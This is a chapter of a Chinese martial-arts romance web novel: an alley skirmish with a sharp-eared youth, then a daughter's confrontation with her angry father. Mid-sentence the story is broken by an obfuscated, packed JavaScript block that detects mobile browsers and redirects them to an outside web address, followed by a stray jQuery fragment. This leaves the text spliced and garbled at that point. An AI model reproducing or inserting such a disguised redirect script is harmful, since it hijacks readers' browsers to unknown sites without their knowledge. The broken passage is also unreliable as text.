文趣网 > 都市小说 > 江湖已故白月光竟是我自己 > 21. 要她下跪
    男人浓眉紧锁,面露怒色。

    罗昭看到他,睫毛颤了颤,几乎僵在原地,不敢动弹,幸亏男人没理他,只是匆匆往红楼的方向赶。

    后半程路,罗昭全程都紧绷着身体,时不时朝红楼瞅,归心似箭。

    罗昭的心急如焚太过明显,风无疾再不放人家走,更像是个恶人,索性道:“小罗,你先回去吧,我们认路。”

    罗昭紧绷的神经瞬间放松下来,吐出一口气,满脸感激地看了一眼风无疾。

    “谢过风堂主!”

    他恭敬地揖了一礼,与风无疾擦身而过,脚步飞快。

    苍飞鸿望着他远去的背影,语气郁闷:“风堂主,你说红小溪到底瞒了我什么啊……一个两个的都知道,却不愿告诉我,搞得好像我是外人一样。”

    风无疾道:“谁都有自己不愿说的秘密,有些事不告诉你,亦是为了保护。待你长大,便知道了。”

    “长大长大……”苍飞鸿低头嘟囔道:“都说要我长大,我早已及冠,还要我怎样啊。”

    城北向来繁盛,大街上车马如流,衣香鬓影,远处的连绵山巅周围萦绕着一片白雾。

    两侧商铺的幌子在风中招展,商贩喧嚷声不绝,几人行至一处暗巷前时,李长弃停住了身,目光微动,一把按住佩剑。

    风无疾顺着他的视线探入暗巷,深巷幽深,青石板半明半暗,黑暗中隐约有影子掠过,速度极快。

    颐合街一路以来鱼龙混杂,许多为了藏匿的人都会隐起气息,躲在暗处,不足为奇。

    能猜到,暗巷里的人极大可能是为了八幽十二芳才趁乱混入城中的江湖散人。

    考虑到苍飞鸿还在后面跟着,风无疾压低了声音,耳语:“这里面有些什么?”

    “有人,不止一个。”李长弃乌黑的眸子紧紧锁定着暗巷,神情晦暗,已有拔剑之势:“十二个,内力皆不差。”

    “十二个?”风无疾扬眉,说:“许是哪个门派的吧。”

    “不知道,但——”李长弃抬起眼,眼底浮起一点戾气,衬得他那张凌厉逼人的脸庞惊心动魄,“他们,发现我们了。”

    下一刻,他迅速拔剑,长剑挥洒,斩出一道明灭的剑光!

    “哐当——”

    这一挡,生生挡下了从暗巷内袭来一支暗器!

    “??!”

    苍飞鸿刚赶上来,便目睹了这凶险的一幕。看清楚后,他好奇的凑近道:“暗器?光天化日之下行刺?”

    李长弃黑眸微沉,留下一句:“等我一会。”

    他走入暗巷,高挑的背影逐渐被黑暗吞没。

    短暂的沉默后,苍飞鸿凑到风无疾身边来,欠兮兮地问:“风堂主,他一个人能应付吗?”

    风无疾扫了一眼他,这小子并不害怕,却也不担心,反而更像跃跃欲试。

    她来了兴趣,想逗弄一下他:“想进去啊?”

    苍飞鸿眼睛一亮,兴致勃勃道:“可以吗?”

    风无疾笑眯眯的,手指天际:“瞧。”

    苍飞鸿老老实实的看了过去,今日天色不错,日光暖照,万里无云。

    他满脸迷茫:“什么也没有啊?”

    风无疾拍了拍他的肩,忍俊不禁:“我的意思是,白天别做梦。老实待着,他能解决。”

    苍飞鸿立刻垮下脸来,不过很快就又被远处的糖葫芦摊吸引,“行吧,那我去买点吃食。”

    风无疾望着少年离去时雀跃的背影,摇了摇头。少年人的心性就是来的快,去的也快。

    脚边的地面安静地躺着一根黑色银针,失去了内力操控,少了锋芒,看起来平平无奇,她蹲下身,捡起它。

    “黑银针,殊途路,终焉琴。”风无疾喃喃自语,指腹摩挲着这根黑色的银针,恍惚间记起来点尘封的画面。

    片晌,她站起身,毫不犹豫地走进暗巷。

    深巷里阴暗潮湿,蜿蜒曲折的青石板,越往深走越不见光。

    风无疾不疾不徐地走着,终于在黑暗中看到了一抹凌厉的身影。

    入目第一眼,墙角处东倒西歪的躺了几个白衣人。剑刃相撞,在这伸手不见五指的黑暗环境中,闪耀出一道银色的火花。

    也由此,风无疾看清了与李长弃对手的是谁。

    那是位小少年,一把细银剑,出手招式狠而厉,身着月白色劲身紧衣,衣摆染着些湛蓝。

    细眉狭眸,初看这青涩的五官,本该是副温清的面相,但眼中却带着一股杀诀的狠劲,甚至比罗昭还胜。

    在李长弃调动内功,准备劈下最后一剑,以定局势时,风无疾蓦然出声道:“阿弃。”

    李长弃动作一顿,就这短暂的一瞬间,被对方找到了空隙,少年身形陡然消失,出现在他的侧身,反手执剑,剑刃直刺面门!

    风无疾迅速出手,掷出那根黑色银针,刹那间,黑银针嗖的脱手而出,弹向白衣少年的手腕!

    风声划过,少年耳朵微动,立刻闪身躲过。

    但同一时间,李长弃一脚踹上他的膝盖窝,白衣少年躲闪不及,硬生生受了这一下,他闷哼一声,单膝跪了下去。

    银剑掉落在地,发出一道清脆的响声。

    下一刻,李长弃的剑刃已架在了那人的脖子上,离皮肉仅差分毫。

    “这内心功法,我在晋炎从未见过,还有这剑法招式,也好生奇怪。”少年用手撑住地面,抬起一双黑白分明的眼死死盯着他,眼底是明晃晃的恶意。

    少年冷声问道:“你是什么人?”

    李长弃手执剑柄,长身玉立,睨了少年一眼,没有理他,对风无疾道:“这个人,耳力很好,似乎能听到百里外的声音,与他过招,总能被他预测到招式所出。”

    “哦,百里耳啊。”风无疾看向他的耳朵,想起方才少年如同迅猛的豺豹一样,快速躲开黑银针的一幕,点点头。

    少年此刻发丝凌乱,仔细看去,左耳垂上还有颗淡淡的棕痣。

    “你,认识我?”闻言,少年转而盯向风无疾。

    风无疾笑了一声:“随口说的,你还真叫百里耳啊?”

    “屁的百里耳,”少年冷哼一声,扭过头去,语气不屑:“我姓百里,号百里名耳。”

    风无疾轻拍李长弃的手背,示意他放下长剑。随后,她俯下身再次捡起黑银针,摆在少年眼前,直视着他:“好,百里名耳。我没恶意,就想问问你,这黑银针,你从哪来的?”

    ‘百里名耳’扫了一眼,没理她。

    “行吧。”风无疾收起黑银针,直起身来:“不说可以。我们换一个问法,我来猜,你点头,或者摇头。”

    不等‘百里名耳’的回答,她便道:“你不是钧州人,来此地,是奉人之命,对吧?”

    ‘百里名耳’动作略微一顿,很快恢复平静,他嗤笑一声道:“你管我?”

    “好,看来我猜对了。”风无疾垂下眼睫,拢下一片阴影,她摩挲着扳指,想了想,继续道:“你们是一个组织的人,来钧州的目的,是为了……”

    “八幽十二芳?”

    少年闭了闭眼,深吸一口气,强行压下心头的惊涛骇浪,反问:“你到底想说什么?”

    “我就问最后一个。”

    风无疾歪了歪头,笑意吟吟地开口:“你们组织的主上,名中是否带一‘殊’字?”

    闻言,少年猛地抬头,锐利的眼睛直视着风无疾。

    这一盯,少年瞬间愣怔住了。

    女人的眼瞳是近乎透明的浅色,是水抚磨玉的琉璃,眼尾上翘,明明该是慵懒的漫不经心,盯视下去,却带着一股难以跨越的距离感。

    好似若与她对视一眼,自己就会被她瞬间看穿。

    比如现在。

    少年抿了抿唇,嗓音发涩:“你,怎么知道?”

    “哦?还真是啊,被我套出来了。”风无疾眼底划过一丝狡黠,拍了拍他的肩:“谢谢你啊小朋友,我知道了。”

    ‘百里名耳’这才反应过来自己是被套话了,面上染着几分恼意:“你!”

    风无疾却不理他,转过身,毫无留恋地走出深巷:“走吧走吧,弃美人。”

    “喂,等等!”少年咬咬牙,大声喊道:“你叫什么名字!”

    “湫无疾,小子,要来找我报仇啊?”风无疾停下步子,弯了弯唇,她回头,脸庞映在暗淡的侧光下,不明不暗,若即若离。

    风无疾弯了下眼,道:“百里名耳,找到我再说吧。”

    ‘百里名耳’面色一黑。

    他只是江湖上号称百里名耳,不是真的叫这个名字,这人到底有没有在好好听?

    李长弃连余光都未曾给过少年,按剑回鞘,快步跟上了风无疾。

    昏暗下,他们都有些看不清彼此。安静在彼此之间蔓延,李长弃突然问道:“伤到了吗?”

    “没有。”

    庆幸的是周围阴暗,她看不清他的面容。否则,风无疾肯定能注意到,李长弃一眨不眨地望着她,不舍得移开目光半点,眼底的关心意味都要溢出来了。

    “怎么突然跑进来了,不是让你在外面等着?”他乌黑的眸子里带上几分谴责的意味,质问她。

    风无疾随口道:“担心你。”

    “……”一句话,李长弃无言。

    “你啊……”他低不可闻的叹了口气,闭上了眼,虽然知道这是借口,但耳垂还是悄然泛红。

    屋檐上滑落的水珠滴在地上,像是一串散线的珠子,打破了寂静的长巷。

    两人并肩走着,有上次在竹林的教训,以至于李长弃都不敢离她太远。

    在接近暗巷出口的时候,李长弃张了张口,终于是问出疑惑:“为什么不杀他?你认识他们的主上?”

    “嗯?”

    对于这个问题,风无疾沉吟须臾,答:“其实,我暂时不确定他的主上是不是我认识的那个人,毕竟,重名的人挺多的。”

    生怕李长弃多想,风无疾补充道:“放心,没多熟,几面之缘而已。”

    李长弃扯了扯嘴角,闷闷的“嗯”了一声。

    走出暗巷,就见苍飞鸿正手举两根糖葫芦,四

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631579|206374||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    处眺望着,脸上还带着几分迷茫,像是在寻人。

    “苍小公子,”风无疾叫了他一声。

    苍飞鸿闻声寻去,见他们两人都从暗巷里走出来,赶忙跑了过来,不满地质问道:“喂,风堂主!说好的不进去,你怎么偷偷溜进去了?不带我玩啊?”

    风无疾没回答,而是看向他手中的两根糖葫芦:“你这是?”

    “这个啊,这是糖葫芦,你吃吗风堂主?”苍飞鸿的注意力瞬间被转移,举起手里玲珑剔透的糖葫芦。

    风无疾摇了摇头:“你吃吧,吃完回弃忧堂。”

    “这么快啊?”苍飞鸿一连塞了好几颗糖葫芦,腮帮子鼓鼓的,含糊不清道:“我很快,稍等!”

    ***

    红楼春水,正房。

    中年男人眉梢眼角尽染怒气,一把推开门,闯入正房。

    “红锡,出来!”他大步流星地走进屋内,视线落在花窗前伫立的红锡身上。

    男人快步走近,随后二话不说地扬起手,“啪”的一声重重扇在了红锡的脸上!

    力道之大,掌声清脆。

    红锡被这一掌打的侧过头,脸颊上霎时浮起几道指印,十足十的狠劲。她没说什么,眉头下敛,低声喊了一句:“父亲。”

    “你还知道有我这个父亲!”红儒阳怒声道。

    他恨铁不成钢,指着红锡,斥责道:“我把红楼春水交给你管,你就是这么管理的?”

    “你告诉我,这几日为什么闭楼不营业!红楼里为什么死了人!坊间的传闻传成什么样了你不知道是吗?!”红儒阳怒目而视着她。

    “抱歉,父亲,”红锡低垂着眉眼,脸上火辣辣的疼痛让她的思绪有些混杂。

    “我在问你话,我需要一个合理的解释!”

    红儒阳问道:“来的路上,我听下人说,是你身边的那个管事章鑫卖出七窍珠消息的,还与什么风水师联合起来将你耍的团团转?”

    “你就这么蠢?我红家怎么会生出来你这种心软愚钝的家伙!”

    红锡垂着头,长久沉默着。

    见她这副不辩解不言语的模样,也许是真的气极,红儒阳冷笑一声,开始口不择言,却也随之报出一个惊天的秘密。

    “多年前你犯过的错忘记了是吗?你信任外面的野种,害得红家宝物差点被盗去,害得你母亲死的那么惨烈!”

    他扬声怒斥,又重复了一遍:“红锡,是你自己害死的你母亲!”

    红锡整个人的思想瞬间被拉回,她瞳孔骤缩,浑身止不住发颤,几乎喘不过气。

    “我自小就与你说,不要信任任何人!所以不让你与他人交友,我的忠言,你全都抛之脑后了是吗?!”

    “你现在,还想再害死谁!害死我吗!”

    “父亲!”红锡猛地抬起头,沉声道:“您够了。”

    红儒阳抬起怒目,刚想再斥责她学会顶嘴了,却在看清她的眼睛时,蓦然愣住,话语卡在喉咙里,不上也不下。

    朱门被推开,带来一阵冷冽的清风,随之匆匆赶来的罗昭也愣在了门口。

    ——因为,他们都清晰的望见了红锡眼底的那抹泪。

    红锡闭上眼,泪滴顺着眼尾滑落。可她顾不得这些,一字一句道:“父亲,母亲的死,一直是我心中埋藏最深的悔恨。是我,对不起母亲,对不起红家。是我,罔顾家规,将红家一次次置在危险的地步。”

    她睁开眼,顶着脸颊上清晰的红印,直视着红儒阳:“但我,从未对不起过您。”

    二十年的养育,她的半生,都活在父亲的指令下,按部就班的做着父亲想让她做的事,走着父亲想让她走的路。

    她学礼仪,受教育,端着世家之子该有的气度,不能活的像苍飞鸿那般肆意。父亲让她成为一个合格的红家之主,让她担起红家的责任。

    她是红家的独女,亦是长女,所以她必须步步谨慎,必须被困在红家四四方方的院子里,在同龄人面前表现出一副成熟的模样,必须揽下所有她手下人所犯的错。

    世人皆羡她红锡出生便坐拥家财万贯,活的轻松自在,不必为粗茶淡饭而苦恼谋生。

    可她坐上这红家家主之位时,背负着这些所谓的责任之时,也不过十三,拥有这些的同时,付出的代价也是同等的。

    这世家牢笼囚她二十年,要她下跪、要她知理、要她威严。

    却从未问过她愿不愿。

    若可以,她想说,她不愿的。

    “你……”红儒阳动了动嘴唇,终是什么话都没有再讲的出来。

    红锡尝到了一丝咸苦,可她习惯了不表现脆弱,所以她逼着自己清醒的感受疼痛,压下痛苦。

    在别人听来,她的声音却好平静:“父亲,这是第二次,也确实是我的问题,您要怎么罚我都好。”

    “往后,再也不会了。”

    人心易变,谁都不能担保一颗人心经得住权贵财富之欲。

    当年被那人所骗的时候,她就应该懂得这个道理了。

    但是,一切都太迟了。